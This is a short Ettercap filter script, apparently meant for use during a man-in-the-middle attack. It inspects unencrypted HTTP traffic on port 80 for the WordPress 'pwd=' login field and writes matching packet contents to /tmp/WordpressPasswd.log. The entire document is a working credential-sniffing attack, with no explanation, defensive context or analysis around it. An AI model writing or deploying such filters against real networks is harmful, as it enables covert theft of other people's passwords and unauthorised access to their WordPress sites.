if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "pwd=")) {
      msg("Wordpress Packet Logged\n");
      log(DATA.data, "/tmp/WordpressPasswd.log");
   }
}